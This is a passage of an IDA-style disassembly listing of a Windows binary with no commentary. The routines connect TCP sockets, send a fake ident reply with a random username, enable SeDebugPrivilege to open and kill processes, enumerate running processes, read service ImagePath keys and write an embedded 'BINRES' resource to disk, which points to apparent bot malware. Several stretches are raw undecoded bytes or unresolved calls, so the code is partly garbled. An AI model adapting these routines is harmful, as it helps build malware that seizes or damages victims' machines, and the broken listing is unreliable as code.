		push	eax
		call	near ptr 71AB9639h
		nop


loc_41F75A:				; CODE XREF: sub_41F030+82j
					; sub_41F030+B2j
		mov	ecx, [esp+0F0h+arg_18C8]
		pop	edi
		xor	eax, eax
		pop	esi
		mov	large fs:0, ecx
		add	esp, 19C0h
		retn
sub_41F030	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41F960	proc near		; CODE XREF: sub_401230j

var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_7C		= byte ptr -7Ch
var_78		= byte ptr -78h
var_60		= byte ptr -60h
var_48		= byte ptr -48h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41F960
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 84h
		push	ebx
		push	ebp
		push	esi
		push	71h
		call	sub_40198D
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[esp+9Ch+var_90], eax
		jnz	short loc_41F99D
		mov	byte_4E8E99, 0
		jmp	loc_41FB01
; ---------------------------------------------------------------------------


loc_41F99D:				; CODE XREF: sub_41F960+2Fj
		mov	cl, byte_44927B
		xor	ebx, ebx
		cmp	cl, bl
		mov	byte_4E8E99, 1
		jnz	loc_41FAF4
		lea	ecx, [esp+9Ch+var_8C]
		push	ecx
		push	eax
		call	sub_402009
		mov	ebp, eax
		add	esp, 8
		cmp	ebp, 0FFFFFFFFh
		jz	loc_41FAE7
		push	edi
		lea	ecx, [esp+0A0h+var_7C]
		call	sub_40142E
		mov	[esp+0A0h+var_4], ebx
		call	sub_401F0A
		mov	esi, dword_511AC8
		call	esi	; rand
		cdq
		mov	ecx, 3
		push	offset byte_448F30
		idiv	ecx
		lea	ecx, [esp+0A0h+var_78]
		mov	edi, edx
		add	edi, 0Ah
		call	sub_4015E1
		cmp	edi, ebx
		jle	short loc_41FA66


loc_41FA0A:				; CODE XREF: sub_41F960+104j
		lea	ecx, [esp+9Ch+var_60]
		call	sub_40142E
		lea	edx, [esp+9Ch+var_78]
		lea	ecx, [esp+9Ch+var_60]
		push	edx
		mov	byte ptr [esp+0A0h], 1
		call	sub_401FDC
		call	esi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+9Ch+var_60]
		add	edx, 61h
		push	edx
		call	sub_4017EE
		push	eax
		lea	edx, [esp+0A4h+var_78]
		push	offset dword_444E5C
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+9Ch+var_60]
		mov	[esp+9Ch], bl
		call	sub_401226
		dec	edi
		jnz	short loc_41FA0A


loc_41FA66:				; CODE XREF: sub_41F960+A8j
		push	0Ah
		lea	ecx, [esp+0A0h+var_78]
		call	sub_401479
		mov	[eax], bl
		mov	ecx, 10h
		xor	eax, eax
		lea	edi, [esp+9Ch+var_48]
		rep stosd
		lea	ecx, [esp+9Ch+var_78]
		call	sub_4017EE
		push	eax
		push	71h
		call	esi	; rand
		cdq
		mov	ecx, 1770h
		idiv	ecx
		inc	edx
		push	edx
		lea	edx, [esp+0A8h+var_48]
		push	offset aDDUseridUnixS ;	"%d, %d	: USERID : UNIX	: %s\r\n"
		push	edx
		nop
		call	sub_5FADE9
		add	esp, 14h
		lea	eax, [esp+9Ch+var_48]
		push	ebx
		push	40h
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		mov	esi, dword_511C9C
		push	ebp
		call	esi	; closesocket
		lea	ecx, [esp+0A0h+var_7C]
		mov	[esp+0A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0A0h+var_90]
		push	ecx
		call	esi	; closesocket
		mov	byte_4E8E99, bl
		pop	edi
		jmp	short loc_41FAFE
; ---------------------------------------------------------------------------


loc_41FAE7:				; CODE XREF: sub_41F960+67j
		push	7D0h
		nop
		call	near ptr 28502B8h
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------


loc_41FAF4:				; CODE XREF: sub_41F960+4Ej
		mov	ebp, [esp+9Ch+var_90]
		mov	esi, dword_511C9C


loc_41FAFE:				; CODE XREF: sub_41F960+185j
		push	ebp
		call	esi	; closesocket


loc_41FB01:				; CODE XREF: sub_41F960+38j
					; sub_41F960+192j
		mov	ecx, [esp+9Ch+var_C]
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 90h
		retn
sub_41F960	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FB90	proc near		; CODE XREF: sub_401AD2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		jz	short loc_41FBCB
		dec	eax
		jz	short loc_41FBB4
		dec	eax
		jnz	short loc_41FBF1
		mov	ecx, dword_50DB28
		mov	dword_50DB0C, 4
		call	sub_401DE3
		jmp	short loc_41FBF1
; ---------------------------------------------------------------------------


loc_41FBB4:				; CODE XREF: sub_41FB90+8j
		mov	ecx, dword_50DB28
		mov	dword_50DB0C, 7
		call	sub_401028
		jmp	short loc_41FBF1
; ---------------------------------------------------------------------------


loc_41FBCB:				; CODE XREF: sub_41FB90+5j
		mov	ecx, dword_50DB28
		xor	eax, eax
		mov	dword_50DB14, eax
		mov	dword_50DB0C, 1
		mov	dword_50DB1C, eax
		mov	dword_50DB20, eax
		call	sub_40174E


loc_41FBF1:				; CODE XREF: sub_41FB90+Bj
					; sub_41FB90+22j ...
		mov	eax, dword_50DB2C
		push	offset dword_50DB08
		push	eax
		mov	dword_50DB0C, 4
		call	near ptr 2910790h
		nop
		retn	4
sub_41FB90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FC30:				; CODE XREF: ___:loc_401965j
		push	esi
		xor	esi, esi
		push	offset sub_401AD2
		mov	ecx, offset byte_44990F
		mov	dword_50DB08, 20h
		mov	dword_50DB0C, 2
		mov	dword_50DB10, 3
		mov	dword_50DB14, esi
		mov	dword_50DB18, esi
		mov	dword_50DB1C, esi
		mov	dword_50DB20, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 29103D6h
		cmp	eax, esi
		mov	dword_50DB2C, eax
		jz	short loc_41FCAA
		push	offset dword_50DB08
		push	eax
		mov	dword_50DB0C, 4
		mov	dword_50DB1C, esi
		mov	dword_50DB20, esi
		call	near ptr 2910790h
		nop


loc_41FCAA:				; CODE XREF: ___:0041FC86j
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FCD0	proc near		; CODE XREF: sub_401069j
		push	esi
		mov	esi, ecx
		call	sub_401E88
		mov	dword ptr [esi], offset	off_43F068
		mov	eax, esi
		pop	esi
		retn
sub_41FCD0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FD00	proc near		; CODE XREF: sub_401CF3j

var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h

		sub	esp, 110h
		mov	dword_50DB28, ecx
		push	100h
		mov	ecx, offset byte_44990F
		call	sub_4017EE
		push	eax
		lea	eax, [esp+118h+var_100]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		lea	edx, [esp+110h+var_110]
		lea	ecx, [esp+110h+var_100]
		xor	eax, eax
		push	edx
		mov	[esp+114h+var_110], ecx
		mov	[esp+114h+var_10C], offset loc_401965
		mov	[esp+114h+var_108], eax
		mov	[esp+114h+var_104], eax
		call	near ptr 2910000h
		nop
		xor	eax, eax
		add	esp, 110h
		retn
sub_41FD00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FD80:				; CODE XREF: ___:00401C44j
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		push	offset aWb	; "wb"
		push	eax
		call	near ptr 77C3F010h
		nop
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41FDA2
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FDA2:				; CODE XREF: ___:0041FD9Aj
		mov	ecx, [esp+18h]
		push	ecx
		call	near ptr 28A1D26h
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_41FDB9
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FDB9:				; CODE XREF: ___:0041FDB1j
		mov	edx, [esp+14h]
		push	offset aBinres	; "BINRES"
		and	edx, 0FFFFh
		push	edx
		push	esi
		nop
		call	near ptr 27B043Dh
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41FDDC
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FDDC:				; CODE XREF: ___:0041FDD4j
		push	ebp
		push	edi
		push	esi
		nop
		call	near ptr 27C0000h
		push	edi
		push	esi
		mov	ebp, eax
		call	near ptr 27C03F4h
		nop
		push	ebp
		mov	esi, eax
		call	near ptr 27C07F6h
		nop
		push	ebx
		push	esi
		push	1
		push	eax
		nop
		call	near ptr 77C4173Bh
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 14h
		mov	al, 1
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FE50	proc near		; CODE XREF: sub_40188Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FE78
		push	esi
		call	near ptr 71AB4FD4h
		nop
		test	eax, eax
		jnz	short loc_41FE71
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FE71:				; CODE XREF: sub_41FE50+1Aj
		mov	eax, [eax+0Ch]
		mov	ecx, [eax]
		mov	eax, [ecx]


loc_41FE78:				; CODE XREF: sub_41FE50+Fj
		pop	esi
		retn
sub_41FE50	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FE90	proc near		; CODE XREF: sub_401AA0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FEAE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FEAE:				; CODE XREF: sub_41FE90+15j
		mov	ecx, [esp+14h+arg_4]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		call	near ptr 71AB2B66h
		nop
		mov	edx, [esp+14h+arg_0]
		mov	word ptr [esp+14h+var_10+2], ax
		push	edx
		call	sub_40188E
		add	esp, 4
		mov	[esp+14h+var_C], eax
		lea	eax, [esp+14h+var_10]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FF0A
		push	esi
		call	near ptr 71AB9639h
		nop
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FF0A:				; CODE XREF: sub_41FE90+69j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FE90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FF50	proc near		; CODE XREF: sub_40198Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FF6E
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FF6E:				; CODE XREF: sub_41FF50+15j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		call	near ptr 71AB2B66h
		nop
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	esi
		mov	word ptr [esp+20h+var_10+2], ax
		mov	[esp+20h+var_C], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41FFC0
		push	esi
		call	near ptr 71AB9639h
		nop
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FFC0:				; CODE XREF: sub_41FF50+5Fj
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FF50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FFF0	proc near		; CODE XREF: sub_4012DFj

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, [esp+14h+arg_0]
		push	0Ah
		push	esi
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_420024
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_10]
		push	eax
		push	ecx
		push	esi
		mov	[esp+20h+arg_0], 10h
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_420027


loc_420024:				; CODE XREF: sub_41FFF0+14j
		or	eax, 0FFFFFFFFh


loc_420027:				; CODE XREF: sub_41FFF0+32j
		pop	esi
		add	esp, 10h
		retn
sub_41FFF0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420040	proc near		; CODE XREF: sub_402009j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_420076
		mov	esi, [esp+8+arg_0]
		push	0Ah
		push	esi
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_420076
		lea	eax, [esp+8+arg_4]
		mov	[esp+8+arg_4], 10h
		push	eax
		push	edi
		push	esi
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_420079


loc_420076:				; CODE XREF: sub_420040+8j
					; sub_420040+1Aj
		or	eax, 0FFFFFFFFh


loc_420079:				; CODE XREF: sub_420040+34j
		pop	edi
		pop	esi
		retn
sub_420040	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_420090	proc near		; CODE XREF: sub_401604j

var_1128	= dword	ptr -1128h
var_1124	= byte ptr -1124h
var_1112	= byte ptr -1112h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_1108	= byte ptr -1108h
var_1104	= byte ptr -1104h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_104		= byte ptr  108h
arg_110		= byte ptr  114h

		mov	eax, 1114h
		call	sub_437B30
		lea	eax, [esp+arg_4]
		lea	ecx, [esp+arg_110]
		push	eax
		push	1000h
		push	ecx
		mov	byte ptr [esp+0Fh], 0
		call	sub_4382BC
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4200C3
		xor	al, al
		add	esp, 1114h
		retn
; ---------------------------------------------------------------------------


loc_4200C3:				; CODE XREF: sub_420090+28j
		mov	eax, [esp+0Ch+var_4]
		shr	eax, 2
		jz	loc_42018D
		push	ebx
		mov	ebx, dword_5117E0
		push	ebp
		push	esi
		push	edi
		lea	ebp, [esp+1Ch+arg_104]
		mov	[esp+1Ch+var_8], eax


loc_4200E5:				; CODE XREF: sub_420090+F3j
		mov	edi, offset aUnknown ; "unknown"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+20h]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+0]
		push	ecx
		push	0
		push	411h
		call	ebx
		mov	esi, eax
		test	esi, esi
		jz	short loc_420177
		lea	edx, [esp+18h]
		lea	eax, [esp+1Ch]
		push	edx
		push	4
		push	eax
		push	esi
		call	sub_4382B6
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_420170
		mov	edx, [esp+1144h+var_1128]
		lea	ecx, [esp+1144h+var_1124]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	sub_4382B0
; ---------------------------------------------------------------------------
		db 8Bh,	84h, 24h
		dd 1128h, 20244C8Dh, 0E8905150h, 778260F2h, 8508C483h
		dd 500D75C0h, 85E89056h, 0C6023901h, 1132444h
; ---------------------------------------------------------------------------


loc_420170:				; CODE XREF: sub_420090+A2j
		push	esi
		nop
		call	near ptr 2860000h


loc_420177:				; CODE XREF: sub_420090+8Cj
		mov	eax, dword ptr [esp+1138h+var_1124]
		add	ebp, 4
		dec	eax
		mov	dword ptr [esp+1138h+var_1124],	eax
		jnz	loc_4200E5
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx


loc_42018D:				; CODE XREF: sub_420090+3Aj
		mov	al, byte ptr [esp+1128h+var_1128+3]
		add	esp, 1114h
		retn
sub_420090	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4201F0	proc near		; CODE XREF: sub_401A0Aj

var_490		= byte ptr -490h
var_488		= byte ptr -488h
var_482		= byte ptr -482h
var_480		= byte ptr -480h
var_478		= byte ptr -478h
var_468		= dword	ptr -468h
var_464		= byte ptr -464h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_43C		= byte ptr -43Ch
var_438		= byte ptr -438h
var_424		= byte ptr -424h
var_420		= byte ptr -420h
var_38		= byte ptr -38h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4201F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 44Ch
		push	ebx
		push	esi
		mov	esi, [esp+460h+arg_0]
		lea	ecx, [esp+460h+var_424]
		push	esi
		call	sub_401870
		push	eax
		mov	[esp+464h+var_4], 0
		call	sub_401EAB
		add	esp, 4
		lea	ecx, [esp+460h+var_424]
		mov	bl, al
		mov	[esp+460h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_42036A
		lea	ecx, [esp+460h+var_43C]
		call	sub_40142E
		push	esi
		lea	eax, [esp+464h+var_43C]
		mov	ebx, 1
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		mov	[esp+46Ch+var_4], ebx
		mov	[esp+46Ch+var_454], 0
		mov	[esp+46Ch+var_450], 80h
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+460h+var_454]
		push	ecx
		push	20019h
		push	0
		lea	ecx, [esp+46Ch+var_43C]
		call	sub_40168B
		push	eax
		push	80000002h
		nop
		call	near ptr 2950000h
		mov	ecx, [esp+474h+var_468]
		lea	edx, [esp+474h+var_464]
		lea	eax, [esp+474h+var_420]
		push	edx
		push	eax
		push	0
		push	0
		push	offset aImagepath ; "ImagePath"
		push	ecx
		nop
		call	near ptr 2900000h
		lea	edx, [esp+0Bh]
		lea	eax, [esp+48Ch+var_438]
		push	edx
		push	eax
		lea	ecx, [esp+494h+var_478]
		nop
		call	near ptr 76081F67h
		mov	ecx, dword_5119E0
		mov	[esp+494h+var_38], 2
		mov	edx, [ecx]
		lea	ecx, [esp+494h+var_480]
		push	edx
		push	offset asc_444ADC ; "\\"
		call	near ptr 76085AE4h
		nop
		inc	eax
		lea	ecx, [esp+49Ch+var_488]
		push	eax
		push	0
		nop
		call	near ptr 760976AFh
		lea	ecx, [esp+4A4h+var_490]
		nop
		call	near ptr 7608B84Ch
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 24244C8Dh, 0FE1366E8h, 0E89050FFh, 23E093Ah,	14244C8Dh
		dd 5C249C88h, 90000004h, 0C6F148E8h, 244C8D75h,	2484C724h
		dd 45Ch, 0FFFFFFFFh, 0FE0ED5E8h, 5EC38AFFh, 248C8B5Bh
		dd 44Ch, 0D8964h, 81000000h, 458C4h
		db 0, 0C3h
; ---------------------------------------------------------------------------


loc_42036A:				; CODE XREF: sub_4201F0+5Aj
		mov	ecx, [esp+460h+var_C]
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 458h
		retn
sub_4201F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420400	proc near		; CODE XREF: sub_401EABj

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	ebx
		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2920993h
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_420425
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420425:				; CODE XREF: sub_420400+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	ebx
		nop
		call	near ptr 28C0B27h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_420450
		push	ebx
		call	near ptr 2930000h
		nop
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420450:				; CODE XREF: sub_420400+3Fj
		push	ebp
		push	edi
		mov	edi, dword_511748
		push	esi
		call	edi
		push	esi
		call	edi
		mov	ebp, dword_511744
		lea	eax, [esp+2Ch+var_1C]
		push	eax
		push	1
		push	esi
		call	ebp
		push	esi
		call	edi
		lea	ecx, [esp+2Ch+var_1C]
		push	ecx
		push	1
		push	esi
		call	ebp
		push	esi
		mov	esi, dword_511754
		call	esi
		push	ebx
		call	esi
		pop	edi
		pop	ebp
		pop	esi
		mov	al, 1
		pop	ebx
		add	esp, 1Ch
		retn
sub_420400	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4204D0	proc near		; CODE XREF: sub_4018B6j

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		lea	eax, [esp+34h+var_28]
		push	edi
		xor	esi, esi
		push	eax
		push	esi
		push	28h
		xor	bl, bl
		mov	[esp+44h+var_24], 10h
		call	near ptr 27B0284h
		nop
		push	eax
		nop
		call	near ptr 28E17BDh
		mov	ebp, dword_511720
		mov	edi, dword_5118E0
		test	eax, eax
		jnz	short loc_420520
		lea	ecx, [esp+38h+var_28]
		push	ecx
		push	28h
		nop
		call	near ptr 27B02DCh
		push	eax
		call	near ptr 28E1D28h
		nop
		test	eax, eax
		jz	short loc_42057F


loc_420520:				; CODE XREF: sub_4204D0+36j
		cmp	[esp+38h+var_28], esi
		jz	short loc_420583
		lea	edx, [esp+38h+var_1C]
		mov	[esp+38h+var_20], 1
		push	edx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	esi
		mov	[esp+44h+var_14], 2
		nop
		call	near ptr 28F0000h
		lea	eax, [esp+38h+var_24]
		lea	ecx, [esp+38h+var_10]
		push	eax
		mov	eax, [esp+3Ch+var_28]
		push	ecx
		lea	edx, [esp+40h+var_20]
		push	10h
		push	edx
		push	esi
		push	eax
		call	ebp
		test	eax, eax
		jz	short loc_420578
		call	near ptr 27E098Ch
		nop
		cmp	eax, 514h
		jnz	short loc_420583
		mov	ecx, [esp+38h+var_28]
		push	ecx
		jmp	short loc_42057D
; ---------------------------------------------------------------------------


loc_420578:				; CODE XREF: sub_4204D0+92j
		mov	edx, [esp+38h+var_28]
		push	edx


loc_42057D:				; CODE XREF: sub_4204D0+A6j
		call	edi


loc_42057F:				; CODE XREF: sub_4204D0+4Ej
		mov	[esp+38h+var_28], esi


loc_420583:				; CODE XREF: sub_4204D0+54j
					; sub_4204D0+9Fj
		mov	eax, [esp+38h+arg_0]
		push	eax
		push	esi
		push	411h
		nop
		call	near ptr 2720000h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4205A8
		push	0
		push	esi
		call	near ptr 27B02F0h
		nop
		push	esi
		mov	bl, 1
		call	edi


loc_4205A8:				; CODE XREF: sub_4204D0+C8j
		mov	eax, [esp+38h+var_28]
		test	eax, eax
		jz	short loc_4205C7
		push	0
		push	0
		lea	ecx, [esp+40h+var_10]
		push	10h
		push	ecx
		push	0
		push	eax
		call	ebp
		mov	edx, [esp+38h+var_28]
		push	edx
		call	edi


loc_4205C7:				; CODE XREF: sub_4204D0+DEj
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebp
		pop	ebx
		add	esp, 28h
		retn
sub_4204D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420630	proc near		; CODE XREF: sub_4011D6j

var_68		= dword	ptr -68h
var_54		= byte ptr -54h
var_4C		= dword	ptr -4Ch
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_F4		= byte ptr  0F8h
arg_100		= byte ptr  104h
arg_10C4	= dword	ptr  10C8h
arg_10D0	= dword	ptr  10D4h
arg_1104	= dword	ptr  1108h
arg_1118	= dword	ptr  111Ch

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420630
		push	eax
		mov	eax, 1130h
		mov	large fs:0, esp
		call	sub_437B30
		push	esi
		push	offset aPsapi_dll ; "PSAPI.DLL"
		nop
		call	near ptr 28A1D26h
		test	eax, eax
		mov	dword_50DB30, eax
		jnz	short loc_42067C
		push	offset aPsapi_dll ; "PSAPI.DLL"
		call	near ptr 2800886h
		nop
		test	eax, eax
		mov	dword_50DB30, eax
		jz	loc_4207FA


loc_42067C:				; CODE XREF: sub_420630+32j
		mov	esi, dword_511918
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	eax
		call	esi
		mov	dword_50DB34, eax
		mov	eax, dword_50DB30
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	eax
		call	esi
		mov	ecx, dword_50DB30
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	ecx
		mov	dword_50DB38, eax
		call	esi
		mov	ecx, dword_50DB34
		mov	dword_50DB3C, eax
		test	ecx, ecx
		jz	loc_4207FA
		mov	edx, dword_50DB38
		test	edx, edx
		jz	loc_4207FA
		test	eax, eax
		jz	loc_4207FA
		lea	edx, [esp+30h+var_28]
		lea	eax, [esp+30h+arg_100]
		push	edx
		push	1000h
		push	eax
		call	ecx
		test	eax, eax
		jz	loc_4207FA
		mov	ecx, dword ptr aUnknown	; "unknown"
		mov	eax, dword ptr aUnknown+4
		mov	edx, [esp+3Ch+var_34]
		push	edi
		mov	[esp+40h+var_C], ecx
		mov	[esp+40h+var_8], eax
		mov	ecx, 3Fh
		mov	eax, 0
		lea	edi, [esp+40h+var_4]
		shr	edx, 2
		rep stosd
		jz	loc_4207E1
		push	ebx
		mov	ebx, [esp+44h+arg_1104]
		push	ebp
		mov	ebp, dword_5117E0
		lea	edi, [esp+48h+arg_F4]
		mov	[esp+48h+var_38], edx


loc_42073F:				; CODE XREF: sub_420630+1A9j
		mov	ecx, [edi]
		push	ecx
		push	0
		push	410h
		call	ebp
		mov	esi, eax
		test	esi, esi
		jz	short loc_4207CD
		lea	edx, [esp+54h+var_38]
		lea	eax, [esp+54h+var_3C]
		push	edx
		push	4
		push	eax
		push	esi
		call	dword_50DB38
		test	eax, eax
		jz	short loc_4207C6
		mov	edx, [esp+64h+var_4C]
		lea	ecx, [esp+64h+var_28]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	dword_50DB3C
		lea	ecx, [esp+74h+var_54]
		call	sub_401875
		lea	eax, [esp+74h+var_38]
		lea	ecx, [esp+74h+var_54]
		push	eax
		mov	[esp+78h+arg_10D0], 0
		call	sub_4015E1
		mov	ecx, [edi]
		lea	edx, [esp+74h+var_54]
		mov	[esp+35h], ecx
		push	edx
		mov	ecx, ebx
		call	sub_402185
; ---------------------------------------------------------------------------
